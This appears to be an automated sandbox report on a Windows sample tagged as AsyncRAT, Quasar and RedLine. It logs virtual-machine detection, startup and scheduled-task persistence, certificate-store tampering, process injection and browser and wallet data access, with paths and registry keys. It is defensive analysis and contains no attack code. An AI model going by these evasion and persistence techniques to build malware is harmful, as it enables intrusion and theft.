Malware Analysis Report

2025-08-05 17:32

Sample ID 221101-mrnv8aahh3
Target BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
Tags
asyncrat quasar redline cheat r77version youtube discovery evasion infostealer rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a

Threat Level: Known bad

The file BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat quasar redline cheat r77version youtube discovery evasion infostealer rat spyware stealer trojan

Suspicious use of NtCreateUserProcessOtherParentProcess

RedLine payload

Quasar payload

RedLine

AsyncRat

Quasar RAT

Async RAT payload

Looks for VirtualBox Guest Additions in registry

Executes dropped EXE

Looks for VMWare Tools registry key

Reads user/profile data of web browsers

Checks computer location settings

Checks BIOS information in registry

Drops startup file

Loads dropped DLL

Accesses cryptocurrency files/wallets, possible credential harvesting

Checks installed software on the system

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Modifies data under HKEY_USERS

Modifies system certificate store

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

Delays execution with timeout.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-11-01 10:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-11-01 10:42

Reported

2022-11-01 10:44

Platform

win7-20220812-en

Max time kernel

151s

Max time network

153s

Command Line

C:\Windows\system32\lsass.exe

Signatures

AsyncRat

rat asyncrat

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1844 created 420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe
PID 1584 created 420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\$77win\$77Client.exe C:\Users\Admin\AppData\Local\Temp\tdwaks.exe N/A
File opened for modification C:\Windows\system32\$77win\$77Client.exe C:\Users\Admin\AppData\Local\Temp\tdwaks.exe N/A
File created C:\Windows\System32\Tasks\$77Client C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\$77Client C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90e6b02de7edd801 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 C:\Users\Admin\AppData\Local\Temp\wqeaus.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 C:\Users\Admin\AppData\Local\Temp\wqeaus.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\dllhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\wqeaus.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\tdwaks.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1636 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 928 wrote to memory of 824 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 824 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 824 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 824 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 928 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 824 wrote to memory of 1796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 824 wrote to memory of 1796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 824 wrote to memory of 1796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 824 wrote to memory of 1796 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 396 wrote to memory of 976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 396 wrote to memory of 976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 396 wrote to memory of 976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 396 wrote to memory of 976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 396 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
